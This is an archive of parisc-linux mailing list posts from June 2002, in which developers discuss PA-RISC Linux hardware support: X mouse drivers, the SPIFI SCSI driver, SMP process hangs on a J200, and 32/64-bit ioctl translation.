	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 21EA437FB8; Mon, 10 Jun 2002 14:38:17 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 620774053; Mon, 10 Jun 2002 14:38:16 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 8349B380D5; Mon, 10 Jun 2002 14:38:15 -0600 (MDT)
X-Mailer: exmh version 2.5 07/13/2001 (debian 2.5-1) with nmh-1.0.4+dev
In-Reply-To: Message from s-clarob@st-aidans.cumbria.sch.uk 
   of "Mon, 10 Jun 2002 08:51:27 BST." <5.1.0.14.0.20020610084610.026cfc70@10.106.16.2> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15060

s-clarob@st-aidans.cumbria.sch.uk writes...

> 2 Quick questions,
> 
> 1. Is it possible to get the 24bit colour recovery to work with 
> PARISC-Linux on a 715/100 ?

The Color Recovery extension is only available in the HP-UX Xserver. No one 
has been able to run the HP-UX Xserver on palinux yet.

> 2. when running pppconfig, the said 715/100 tries to detect the modem and 
> then hangs. It's heartbeat goes out and it dumps some output top the sti ( 
> not had a chance to write it down yet ). is there any known issues with 
> either pppconfig or the serial drivers in relation to the 715?

I seem to remember a problem with PPP, check the list archive. Updating 
your kernel is probably a good idea too.

-- 
Matt Taggart
taggart@fc.hp.com





From - Thu Nov 08 21:23:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Martin-=C9ric_Racine?= <q-funk@pp.fishpool.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712-60 XFree86 mouse driver problems
Date: Mon, 10 Jun 2002 23:42:31 +0300 (EEST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0206102341110.8495-100000__26810.5006930002$1416621384$gmane$org@hal.pp.fishpool.fi>
References: <3D035E00.7FBAF703@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416621384 8653 80.91.229.3 (22 Nov 2014 01:56:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:24 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@parisc-linux.org
To: "b.gunreben" <b.gunreben@web.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 10 14:42:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hal.pp.fishpool.fi (hal.pp.fishpool.fi [195.197.229.212])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0BFD44842
	for <parisc-linux@parisc-linux.org>; Mon, 10 Jun 2002 14:42:47 -0600 (MDT)
Original-Received: from q-funk (helo=localhost)
	by hal.pp.fishpool.fi with local-esmtp (Exim 3.12 #1 (Debian))
	id 17HVzj-0002TI-00; Mon, 10 Jun 2002 23:42:31 +0300
In-Reply-To: <3D035E00.7FBAF703@web.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15061

On Sun, 9 Jun 2002, b.gunreben wrote:

> Martin-=C9ric Racine wrote:=20
> > On my 712-60, I've had to call my mouse "fups2" in gpm.conf but enablin=
g the
> > same repeater didn't get X to use it.

> There may be problems, if you run gpm while running X. You can try to swi=
tch
> of gpm when running X.  Another possibility is to use the gpm repeater fo=
r X

Please re-read what I have written.  Repeater fails.

--=20
Martin-=C9ric Racine, Helsinki, Finland.
http://www.pp.fishpool.fi/~q-funk/
+358 41 474 0289




From - Thu Nov 08 21:23:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Martin-=C9ric_Racine?= <q-funk@pp.fishpool.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 712-60 XFree86 mouse driver problems
Date: Mon, 10 Jun 2002 23:44:55 +0300 (EEST)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0206102343040.8495-100000__42708.6120741025$1416621385$gmane$org@hal.pp.fishpool.fi>
References: <20020610203332.77E1F4838@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416621385 8654 80.91.229.3 (22 Nov 2014 01:56:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:25 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 10 14:45:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hal.pp.fishpool.fi (hal.pp.fishpool.fi [195.197.229.212])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BC454847
	for <parisc-linux@parisc-linux.org>; Mon, 10 Jun 2002 14:45:00 -0600 (MDT)
Original-Received: from q-funk (helo=localhost)
	by hal.pp.fishpool.fi with local-esmtp (Exim 3.12 #1 (Debian))
	id 17HW23-0002Tb-00; Mon, 10 Jun 2002 23:44:55 +0300
In-Reply-To: <20020610203332.77E1F4838@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15062

On Mon, 10 Jun 2002, Grant Grundler wrote:

> =3D?iso-8859-1?Q?Martin-=3DC9ric_Racine?=3D wrote:
> > Anyhow, the problem with fups2 is that
> > every time I exit Gnome and X is restarted by gdm, the mouse in X no lo=
nger
> > works so I have to ctrl-alt-back kill X to reinitialize the mouse again=
=2E
>=20
> I had the same problem with B180 or C3000.  But since gdm is one of the
> first things I remove, it doesn't bother me.

The same problem occurs with KDM or XDM.  Either way, I need a display mana=
ger;
loging in at the console and typing "startx" manually is not an option here=
=2E

--=20
Martin-=C9ric Racine, Helsinki, Finland.
http://www.pp.fishpool.fi/~q-funk/
+358 41 474 0289




From - Thu Nov 08 21:23:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI driver for E-class servers - SPIFI ?
Date: Mon, 10 Jun 2002 15:53:12 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <20020610215312.29D2C483A@dsl2.external.hp.com>
References: <3D050639.B9F9695D@gmx.at>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621385 8657 80.91.229.3 (22 Nov 2014 01:56:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:25 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 10 15:53:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 29D2C483A; Mon, 10 Jun 2002 15:53:12 -0600 (MDT)
In-Reply-To: Message from Christoph Plattner <christoph.plattner@gmx.at> 
   of "Mon, 10 Jun 2002 22:04:09 +0200." <3D050639.B9F9695D@gmx.at> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15063

Christoph Plattner wrote:
> Hello to all !
> 
> Is the HP E55 SCSI controller a HP SPIFI ?
> I found that on the mailing archive ...Is this correct ?

Yes. HP-PB SE SCSI uses SPIFI-3.
HP-PB FWD SCSI uses i860 + SPIFI-4.

> Does anyone know, if this driver can help use for the E55 or
> similar machines.
> 
> The driver is in the file:
>      ./syssrc/sys/arch/newsmips/apbus/spifi.c 
> and
>      ./syssrc/sys/arch/newsmips/apbus/spifireg.h

I need a URL. AFAIK, SPIFI if the only family of SCSI
chips made by HP.

grant



From - Thu Nov 08 21:23:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI driver for E-class servers - SPIFI ?
Date: Tue, 11 Jun 2002 01:16:17 +0200
Organization: private
Lines: 46
Approved: news@gmane.org
Message-ID: <3D053341.571CF331@gmx.at>
References: <3D050639.B9F9695D@gmx.at> <20020610215312.29D2C483A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621385 8660 80.91.229.3 (22 Nov 2014 01:56:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:25 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 10 17:16:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2247A483E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Jun 2002 17:16:08 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep14-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020610231604.LEBW8115.viefep14-int.chello.at@gmx.at>;
          Tue, 11 Jun 2002 01:16:04 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15064

Ok, the URL of NetBSD CVS repository:

http://cvsweb.netbsd.org/bsdweb.cgi    (CVS web interface)

This is the full CVS web path of this driver.

http://cvsweb.netbsd.org/bsdweb.cgi/syssrc/sys/arch/newsmips/apbus/

I have checked out the NetBSD tree on my disk, CVS ROOT was
:pserver:anoncvs@anoncvs.netbsd.org:/cvsroot

I hope we can have progress on this machine ...
Christoph P.


Grant Grundler wrote:
> 
> Christoph Plattner wrote:
> > Hello to all !
> >
> > Is the HP E55 SCSI controller a HP SPIFI ?
> > I found that on the mailing archive ...Is this correct ?
> 
> Yes. HP-PB SE SCSI uses SPIFI-3.
> HP-PB FWD SCSI uses i860 + SPIFI-4.
> 
> > Does anyone know, if this driver can help use for the E55 or
> > similar machines.
> >
> > The driver is in the file:
> >      ./syssrc/sys/arch/newsmips/apbus/spifi.c
> > and
> >      ./syssrc/sys/arch/newsmips/apbus/spifireg.h
> 
> I need a URL. AFAIK, SPIFI if the only family of SCSI
> chips made by HP.
> 
> grant

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:23:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.18-pa35 SMP process hangs on a J200
Date: 10 Jun 2002 23:36:46 -0600
Lines: 71
Approved: news@gmane.org
Message-ID: <1023773807.7353.19.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621386 8664 80.91.229.3 (22 Nov 2014 01:56:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:26 +0000 (UTC)
Cc: varenet@esiee.fr, grundler@cup.hp.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 10 23:36:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id C3A6D483C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Jun 2002 23:36:48 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 2B84EBCD4; Mon, 10 Jun 2002 23:36:47 -0600 (MDT)
X-Mailer: Ximian Evolution 1.0.3 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15065

Hello parisc-linux hackers,


I have heard of SMP hangs on the A500 from the ESIEE and Grant's system,
so I installed the 2.4.18-pa35 on a dual processor J200 and tried to
duplicate the hangs and hopefully provide a different perspective on the
hang.

The good and bad news is that I can duplicate the process hangs on the 
J200 by simply running two instances of the setiathome program.

Digging into the system a bit, here is what I found:

	* The setiathome process that hung (PID 326) will hang any other
	  process that tries to access /proc/326/*.  (This is why top,
	  ps, etc all hang after the process gets stuck).

	* None of the other processes appear to be stuck. (ie. I can 
	  access the /proc/PID/* information and the command will 	  return).

	* The processes that hang while trying to read from the stuck 
	  process go into a disk sleep and never return.

		This is the a "hung" process that access the stuck 		process.

		# cat status 
		Name:	ps
		State:	D (disk sleep)
		Tgid:	1362
		Pid:	1362
		PPid:	1359
		TracerPid:	0
		Uid:	0	0	0	0
		Gid:	0	0	0	0
		FDSize:	256
		Groups:	0 
		VmSize:	    3032 kB
		VmLck:	       0 kB
		VmRSS:	     880 kB
		VmData:	    1136 kB
		VmStk:	       0 kB
		VmExe:	      68 kB
		VmLib:	    1420 kB
		SigPnd:	0000000000000000
		SigBlk:	0000000000000000
		SigIgn:	8000000000000000
		SigCgt:	000000007f2ffef9
		CapInh:	0000000000000000
		CapPrm:	00000000fffffeff
		CapEff:	00000000fffffeff


It appears that the stuck process also affected my serial console login,
so I am not able to gather more information using the magic-sysrq
commands.  I will try to reboot the system, and see if I can keep a
console up and use the magic-sysrq commands next time the process gets
stuck.


Is this the same behavior people are seeing on the SMP A500's?  Any
ideas on where to continue debugging this (possible deadlock problem?
Can I see what locks are being held by the stuck process? etc..)  I will
continue to poke around and see what I can find also.

Thanks,

- Ryan





From - Thu Nov 08 21:23:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18-pa35 SMP process hangs on a J200
Date: Mon, 10 Jun 2002 22:52:33 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20020611055232.GD5876@tausq.org>
References: <1023773807.7353.19.camel@beavis>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621386 8667 80.91.229.3 (22 Nov 2014 01:56:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, varenet@esiee.fr,
	grundler@cup.hp.com
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 10 23:52:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail13.speakeasy.net [216.254.0.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5972A483E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Jun 2002 23:52:41 -0600 (MDT)
Original-Received: (qmail 541 invoked from network); 11 Jun 2002 05:52:38 -0000
Original-Received: from unknown (HELO gandalf.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail13.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <rbradetich@uswest.net>; 11 Jun 2002 05:52:38 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.34 #1 (Debian))
	id 17Hea1-0007Ud-00; Mon, 10 Jun 2002 22:52:33 -0700
Content-Disposition: inline
In-Reply-To: <1023773807.7353.19.camel@beavis>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15066

> Is this the same behavior people are seeing on the SMP A500's?  

yes, this is what i have seen too.

> Can I see what locks are being held by the stuck process? etc..)  I will
> continue to poke around and see what I can find also.

Paul Bame has done some work on showing wait channels that might be
useful.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:23:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Pb with ioctl and 64bits
Date: Tue, 11 Jun 2002 07:52:19 +0200
Organization: H.P
Lines: 84
Approved: news@gmane.org
Message-ID: <3D059013.9272EEEA@admin.france.hp.com>
References: <3D04BD42.446D930@admin.france.hp.com> <20020610152428.GB5876@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------FF9D73B59D549C57264DDB22"
X-Trace: ger.gmane.org 1416621386 8669 80.91.229.3 (22 Nov 2014 01:56:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:26 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 10 23:58:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92FE5484D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Jun 2002 23:58:00 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP
	id 913296A; Tue, 11 Jun 2002 07:57:41 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id HAA28809; Tue, 11 Jun 2002 07:56:34 +0200 (METDST)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15067

This is a multi-part message in MIME format.
--------------FF9D73B59D549C57264DDB22
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
Yes, I've follow nearly the same than "PA_PERF_ON", "PA_PERF_OFF".
I've used:
#define DIOSDUMPDEV             _IOW('p',1,unsigned long)       /* set the dump device                 */
#define DIOGDUMPDEV             _IOR('p',2,unsigned long)       /* get the dump device                 */
#define DIOSDUMPLEVEL           _IOW('p',3,unsigned long)       /* set the dump level                  */
#define DIOGDUMPLEVEL           _IOR('p',4,unsigned long)       /* get the dump level                  */
#define DIOSDUMPFLAGS           _IOW('p',5,unsigned long)       /* set the dump flag parameters        */
#define DIOGDUMPFLAGS           _IOR('p',6,unsigned long)       /* get the dump flag parameters        */
#define DIOSDUMPCOMPRESS        _IOW('p',7,unsigned long)       /* set the dump compress level         */
#define DIOGDUMPCOMPRESS        _IOR('p',8,unsigned long)       /* get the dump compress level         */
#define DIOGDINDEX              _IOR('p',9,unsigned long)       /* get the number of configured device */ 

But I don't understand what's wrong, does I need to declare something else somewhere else ????

Randolph Chung wrote:
> 
> > I'm loosing my nerves. I'm stuck with it since two days, and I don't understand :-(
> > My ioctls are running fine with 32bits kernel. I thought I've done everything fine,
> > but when compiling it with 64 bits kernel it fail with:
> > sys32_ioctl: Unknown cmd fd(3) cmd(80047001) arg(00000803)
> > So my question is: what is the difference between 32bits and 64bits kernel about
> > the ioctls ?
> 
> as you discovered, there's some translation that is needed for 64-bit
> kernels because userspace is always 32-bits. So when running a 64-bit
> kernel, some ioctls need to be translated via the logic in ioctl32.c.
> The situation is similar to sparc32/sparc64.
> 
> > I think that arch/parisc/kernel/ioctl32.c is used with 64bits and not with 32bits, right ?
> 
> yes.
> 
> > If yes, what I need to do more than:
> > #if defined(CONFIG_DUMP) || defined(CONFIG_DUMP_MODULE)
> > COMPATIBLE_IOCTL(DIOSDUMPDEV);
> > COMPATIBLE_IOCTL(DIOGDUMPDEV);
> > COMPATIBLE_IOCTL(DIOSDUMPLEVEL);
> > COMPATIBLE_IOCTL(DIOGDUMPLEVEL);
> > COMPATIBLE_IOCTL(DIOSDUMPFLAGS);
> > COMPATIBLE_IOCTL(DIOGDUMPFLAGS);
> > COMPATIBLE_IOCTL(DIOSDUMPCOMPRESS);
> > COMPATIBLE_IOCTL(DIOGDUMPCOMPRESS);
> > COMPATIBLE_IOCTL(DIOGDINDEX);
> > #endif /* DUMP */
> 
> what are the ioctl definitions used by the dump driver? (the _IO{,R,W,RW}
> values). From the output you pasted:
> 
> > sys32_ioctl: Unknown cmd fd(3) cmd(80047001) arg(00000803)
> 
> that ioctl seems to be _IOW('p', 1, int) (or unsigned int or so)?
> 
> randolph

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------FF9D73B59D549C57264DDB22
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
